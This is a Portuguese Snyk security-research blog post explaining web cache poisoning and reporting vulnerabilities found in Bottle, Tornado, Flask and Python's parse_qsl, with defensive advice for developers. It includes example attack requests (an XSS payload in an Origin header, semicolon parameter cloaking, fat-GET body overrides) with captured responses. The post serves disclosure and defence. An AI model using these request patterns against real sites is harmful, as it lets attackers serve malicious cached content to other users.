Skip to main content

Envenenamento de cache em pacotes populares de código aberto

Escrito por
Headshot of Adam Goldschmidt

Adam Goldschmidt

Package Lock Files blog

18 de janeiro de 2021

0 minutos de leitura

Após a pesquisa de James Kettle, da PortSwigger, sobre envenenamento de cache da web, a equipe de segurança da Snyk decidiu aprofundar seus conhecimentos nessa área e explorar essas vulnerabilidades no universo do código aberto. Nossa pesquisa se concentrou nos frameworks web mais populares do npm e do PyPi, como Flask (Werkzeug), Bottle, Tornado e DerbyJS.

Esta publicação apresenta uma introdução ao envenenamento de cache da web e mostra por que os mantenedores de projetos de código aberto devem levar esse problema em consideração. Além disso, traz exemplos de vulnerabilidades em frameworks populares de código aberto, identificadas durante a pesquisa inicial da Snyk.

Entenda o envenenamento de cache

O envenenamento de cache da web é um ataque criado para induzir o cache a fornecer respostas maliciosas a solicitações legítimas. Isso é possível ao incluir parâmetros sem chave na solicitação: eles são armazenados no cache, mas não são representados na chave de cache (daí o termo “sem chave”). Para entender como o ataque funciona, primeiro é preciso compreender o conceito de cache da web.

O que é um proxy de cache?

Um proxy de cache é parte de um proxy reverso — uma conexão intermediária entre o cliente e o servidor web. Quando alguém acessa um site, os proxies interpretam e respondem às solicitações em nome do servidor original. O armazenamento em cache é um dos recursos de um proxy reverso e permite entregar respostas aos usuários com mais rapidez.

Como funciona o armazenamento em cache?

O armazenamento em cache consiste em guardar o conteúdo acessado com frequência para acelerar solicitações futuras desse conteúdo.

As chaves de cache são usadas para que o cache mantenha referências às respostas. Em geral, uma chave de cache é composta pelos valores de um ou mais cabeçalhos de resposta e por uma parte da URL.

Por exemplo, para a solicitação HTTP a seguir, a chave de cache poderia ser localhost/p/?a=1.

GET /p/?a=1 HTTP/1.1
Host: localhost
Origin: example
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Diagrama que mostra um cliente e um servidor se comunicando por meio de um proxy reverso, com um cache e um caminho de resposta armazenada em cache.

Ao receber uma nova solicitação, se o cache encontrar uma chave de cache correspondente, a resposta armazenada será fornecida em vez de gerar uma nova.

Como mostra o exemplo acima, há cabeçalhos que podem afetar a resposta, mas não aparecem na chave de cache. Isso significa que, se alterarmos seus valores, a resposta será armazenada no mesmo “espaço” do cache, mas com um valor diferente.

A tabela a seguir mostra como três solicitações diferentes são tratadas quando a chave de cache é definida como $host$query_args:

Host

Accept-Encoding

Argumentos da consulta

Chave de cache

example.com

gzip, deflate

?q=search

example.com?q=search

example.com

identity

?q=search

example.com?q=search

snyk.io

gzip, deflat

snyk.io

As duas primeiras linhas têm a mesma chave de cache, apesar de apresentarem valores diferentes para Accept-Encoding; por isso, serão armazenadas no mesmo espaço do cache.

Entenda os parâmetros sem chave

Diagrama que mostra um envenenamento de cache: um proxy reverso armazena em cache uma resposta maliciosa para uma consulta popular e a entrega a outro usuário.

As entradas que não fazem parte da chave de cache são chamadas de parâmetros sem chave. Isso se torna um problema quando esses parâmetros podem provocar comportamentos maliciosos na aplicação. Por exemplo, um invasor pode transformar um XSS refletido em um XSS armazenado. Veja esta solicitação:

GET / HTTP/1.1
Host: somesite.com
Origin: <script>alert(1)</script>
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9

Supondo que o parâmetro Origin seja refletido sem sanitização, possa causar um XSS e não faça parte da chave, todos os usuários que acessarem somesite.com/ receberão a resposta maliciosa até que ela expire no cache.

Para saber mais sobre envenenamento de cache e os possíveis vetores de ataque, recomendo estes artigos de James Kettle: Practical Web Cache Poisoning e Web Cache Entanglement: Novel Pathways to Poisoning.

Investigando vulnerabilidades em frameworks web

Um framework web permite que os desenvolvedores gerem respostas HTTP com facilidade. Segundo a Wikipedia: “Frameworks web oferecem uma maneira padrão de criar e implantar aplicações web na World Wide Web. Eles buscam automatizar o trabalho adicional associado às atividades comuns do desenvolvimento web.” Em geral, esses frameworks incluem medidas de segurança para facilitar ainda mais o trabalho dos desenvolvedores.

Muitas vezes, os desenvolvedores usam frameworks web junto com um proxy de cache, como NGINX ou Varnish.

Esta pesquisa mostra que muitos frameworks populares atualmente são vulneráveis ao envenenamento de cache da web por padrão, praticamente independentemente do proxy de cache utilizado — a menos que sejam configurados explicitamente para se proteger contra esse tipo de ataque. Em geral, muitos desenvolvedores não sabem disso ou não têm conhecimento suficiente para fazer essa configuração. Os vetores de ataque a seguir foram testados em vários frameworks web com NGINX e Varnish.

Ocultação de parâmetros GET em Python e Bottle

Diagrama que mostra o envenenamento de cache: uma consulta maliciosa prepara o cache de um proxy reverso, fazendo com que uma solicitação posterior receba q=malicious.

Quando um invasor consegue separar parâmetros de consulta usando ponto e vírgula ;, pode fazer com que o proxy (em sua configuração padrão) e o servidor interpretem a solicitação de maneiras diferentes. Isso pode fazer com que solicitações maliciosas sejam armazenadas em cache como se fossem totalmente seguras, pois o proxy geralmente não reconhece o ponto e vírgula como separador e, portanto, não o inclui na chave de cache de um parâmetro sem chave — como os parâmetros utm_*, que geralmente não fazem parte da chave. A recomendação do W3C sugere usar o e comercial como separador (“As strings devem ser obtidas dividindo estritamente a string de payload nos caracteres U+0026 AMPERSAND (&)”).

Uma das descobertas mais importantes foi o código-fonte do Python (CVE-2021-23336), que contém um método chamado parse_qsl que analisa parâmetros de consulta de URL usando ponto e vírgula e também e comercial. Esse método é usado por frameworks como o Tornado para analisar parâmetros de consulta, o que pode levar a uma cadeia de exploração de envenenamento de cache da web.

O Bottle (CVE-2020-28473), o Tornado e o Rack foram identificados como vulneráveis. Vamos ver um exemplo desse vetor explorando o Bottle.

O invasor usa q=cat como parâmetro de uma caixa de pesquisa e o substitui por outro valor. Veja a solicitação e a resposta:

GET /search/?q=cat&utm_content=1;q=dog! HTTP/1.1
Host: localhost
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close

HTTP/1.1 200 OK
Server: nginx/1.19.6
Date: Wed, 06 Jan 2021 19:45:20 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 26
Connection: close
Cache-Control: max-age=10
X-Cache-Date: Wed, 06 Jan 2021 19:45:18 GMT
X-Cache: HIT

Your search query: dog!

Agora, imagine que um usuário real pesquise “cat” enquanto a resposta maliciosa ainda está no cache:

GET /search/?q=cat HTTP/1.1
Host: localhost
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close

HTTP/1.1 200 OK
Server: nginx/1.19.6
Date: Wed, 06 Jan 2021 19:45:23 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 26
Connection: close
Cache-Control: max-age=10
X-Cache-Date: Wed, 06 Jan 2021 19:45:18 GMT
X-Cache: HIT

Your search query: dog!

O invasor conseguiu alterar uma solicitação legítima, substituindo o parâmetro de pesquisa. Isso acontece porque o servidor identifica três parâmetros: q, utm_content, e depois q novamente. Ele substitui o valor do primeiro parâmetro q pelo último. Já o proxy considera a string inteira ?q=cat&utm_content=1;q=dog! como o valor de utm_content; por isso, a chave de cache contém apenas localhost?q=cat.

Para corrigir essa vulnerabilidade, deve-se usar apenas o e comercial (&) como separador de parâmetros de consulta, a menos que o desenvolvedor especifique outra opção. O Werkzeug, por exemplo, permite que os desenvolvedores definam separadores personalizados e usa o e comercial como padrão. Os mantenedores do Bottle decidiram corrigir o problema sem dividir as strings de consulta por ;, a partir da versão 0.12.19. O framework Rails também foi identificado como vulnerável a esse método (descoberto por James Kettle e divulgado a nós com a ajuda de Jonathan Leitschuh), mas, até a publicação deste artigo, ainda não havia sido corrigido.

Vulnerabilidades de parâmetros no corpo de solicitações GET (GET gordo) no Flask e no Tornado

Diagrama que mostra o envenenamento de cache: um proxy reverso omite o cabeçalho Origin da chave de cache, fazendo com que conteúdo XSS chegue aos dois clientes.

Em alguns proxies, como o NGINX, é possível incluir parâmetros no corpo de uma solicitação GET. Embora isso não seja estritamente proibido pela RFC do HTTP (“Um payload em uma mensagem de solicitação GET não tem semântica definida; o envio de um corpo de payload em uma solicitação GET pode fazer com que algumas implementações existentes rejeitem a solicitação”), identificamos vários frameworks que incluem esses parâmetros em métodos integrados não destinados explicitamente a parâmetros do corpo.

Isso pode levar os desenvolvedores a tentar buscar parâmetros de consulta GET, mas acabar recuperando parâmetros do corpo. Como esses parâmetros não fazem parte da chave no cache, podem surgir dois problemas:

Substituição de parâmetros

Um invasor pode substituir parâmetros de consulta GET por parâmetros do corpo de uma solicitação GET e fazer com que a resposta armazenada no cache seja entregue a outros usuários.

Esse problema foi identificado no Tornado quando usado com o NGINX.

Como o Tornado dá prioridade aos parâmetros do corpo, era possível substituir as solicitações de usuários inocentes por solicitações maliciosas. Retomando o exemplo anterior, com uma pesquisa por “cat”:

GET /search/?q=cat HTTP/1.1
Host: localhost
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Content-Type: application/x-www-form-urlencoded
Connection: close
Content-Length: 6

q=dog!

HTTP/1.1 200 OK
Server: nginx/1.19.6
Date: Wed, 06 Jan 2021 19:51:54 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 26
Connection: close
Cache-Control: max-age=10
X-Cache-Date: Wed, 06 Jan 2021 19:51:53 GMT
X-Cache: HIT

Your search query: dog!

Quando um usuário pesquisa “cat”, o fluxo é o seguinte:

GET /search/?q=cat HTTP/1.1
Host: localhost
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close

HTTP/1.1 200 OK
Server: nginx/1.19.6
Date: Wed, 06 Jan 2021 19:53:55 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 26
Connection: close
Cache-Control: max-age=10
X-Cache-Date: Wed, 06 Jan 2021 19:51:55 GMT
X-Cache: HIT

Your search query: dog!

Em um cenário com uma vulnerabilidade de cross-site scripting (XSS) refletido, essa técnica pode transformá-la em um XSS armazenado, que pode ser entregue a outros usuários da aplicação.

Injeção de parâmetros adicionais

Um invasor pode injetar parâmetros adicionais e fazer com que a resposta armazenada no cache seja entregue a outros usuários. Esse cenário não é tão grave quanto o primeiro, mas ainda pode ser crítico quando combinado com os elementos certos. Um exemplo seria alterar o método da solicitação usando _method em algumas implementações. Foi comprovado que isso era possível no Flask.

GET /report HTTP/1.1
Host: localhost
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close
Content-Type: application/json
Content-Length: 32

{“reason”:”this is an extra field”}

Essa solicitação faria com que todas as solicitações seguintes de usuários inocentes incluíssem o parâmetro adicional.

A Snyk identificou esse comportamento em vários frameworks. No entanto, vários mantenedores que contatamos não consideraram isso uma vulnerabilidade direta no contexto de seus pacotes. Por esse motivo, a Snyk decidiu não publicar avisos sobre esses problemas.

Ainda assim, é possível corrigir o problema nos próprios pacotes, impedindo que os desenvolvedores busquem dados do corpo usando esses métodos ambíguos, já que muitos usam request.params por conveniência, sem conhecer as implicações. Outra solução é não dar prioridade aos parâmetros do corpo ao usar esses métodos ambíguos, evitando que parâmetros de consulta legítimos sejam substituídos.

Por exemplo, os mantenedores do Werkzeug decidiram corrigir o problema impedindo que request.values use request.form em solicitações GET. Já os mantenedores do Tornado optaram por adicionar um sinalizador para que a análise dos corpos de solicitações GET só ocorra quando habilitada explicitamente (recurso ainda não lançado).

Escopo das correções

Durante esta pesquisa, identificamos vários casos em que a complexidade dos diferentes vetores de ataque dificultou para os mantenedores determinar se a correção cabia ao escopo da biblioteca que mantêm ou se deveria ser feita no nível do proxy.

Há muitos cenários diferentes em que pode ocorrer envenenamento de cache, e não é responsabilidade do framework web mitigar todos eles. Ainda assim, o framework pode ajudar a proteger contra alguns deles, implementando medidas adicionais de defesa em profundidade.

É possível argumentar que os proxies não deveriam ignorar os parâmetros do corpo de solicitações GET, já que muitas implementações ainda os utilizam. No entanto, eles podem armazenar essas chaves como se fossem parâmetros de consulta. Além disso, os frameworks podem impedir que os desenvolvedores usem métodos ambíguos sem deixar de permitir o uso de parâmetros do corpo. O mesmo vale para a ocultação de parâmetros: os proxies não deveriam usar ponto e vírgula como separador, pois isso não é recomendado pela RFC, mas os frameworks podem permitir esse uso somente quando o desenvolvedor o definir explicitamente.

Como desenvolvedores podem reduzir o risco de envenenamento de cache

Cada desenvolvedor pode reduzir o risco de vulnerabilidades seguindo estas orientações:

  • Entenda a chave de cache: se o servidor divide os argumentos de consulta usando ponto e vírgula, confira se o proxy de cache faz o mesmo. Além disso, verifique se a chave de cache contém os cabeçalhos necessários para impedir que invasores usem parâmetros sem chave para envenenar o cache da web.

  • Ignore os parâmetros do corpo de solicitações GET, a menos que sejam necessários para o funcionamento do programa. Se forem, use-os apenas quando necessário.

  • Detecte e corrija outras vulnerabilidades no seu aplicativo:O envenenamento de cache da web costuma ser usado em uma cadeia de exploração, na qual um invasor pode enviar uma resposta maliciosa a outros usuários — por exemplo, transformando um XSS refletido em um XSS armazenado. Os desenvolvedores devem fazer o possível para proteger seus aplicativos contra essas vulnerabilidades comuns, mesmo que pareçam menos graves.

Resumo

Em conclusão, esta pesquisa mostra que frameworks de código aberto são vulneráveis a ataques de envenenamento de cache da web quase independentemente do proxy usado (com algumas exceções). Embora seja possível mitigar esses ataques no nível do proxy, muitos desenvolvedores desconhecem esses vetores de ataque e não implementam as proteções necessárias no nível do cache/proxy.

O objetivo desta publicação foi conscientizar a comunidade de desenvolvedores. Embora apresente apenas dois possíveis vetores de envenenamento de cache da web, há muitos outros em circulação. Os desenvolvedores devem procurar seguir os pontos mencionados acima e sempre ter em mente essas vulnerabilidades específicas.

Comece a resolver desafios de capture the flag

Aprenda a resolver desafios de capture the flag assistindo sob demanda ao nosso workshop virtual introdutório.

Leia mais

Blog

Modelos de ponta encontraram as vulnerabilidades. Só o atacante encontrou as cadeias.

A análise estática encontrou as falhas, mas só os testes de ataque em aplicações ativas provaram como elas poderiam ser encadeadas para causar invasões. Uma comparação entre Evo COS, Claude Security e Claude Code Security.

feature insights context
Blog

Os ataques autônomos já chegaram. A defesa precisa acompanhar o ritmo.

Os atacantes autônomos estão reduzindo o tempo disponível para a defesa. Saiba como a descoberta, a correção, a validação e a prevenção contínuas ajudam as equipes de segurança a acompanhar esse ritmo.

Blog

Seu backlog de vulnerabilidades não é mais uma dívida técnica — é uma superfície de ataque

Um backlog crescente de vulnerabilidades é mais do que uma dívida técnica: ele é uma superfície de ataque. Entenda por que suposições de risco desatualizadas, atacantes automatizados e descobertas encadeadas exigem uma nova abordagem.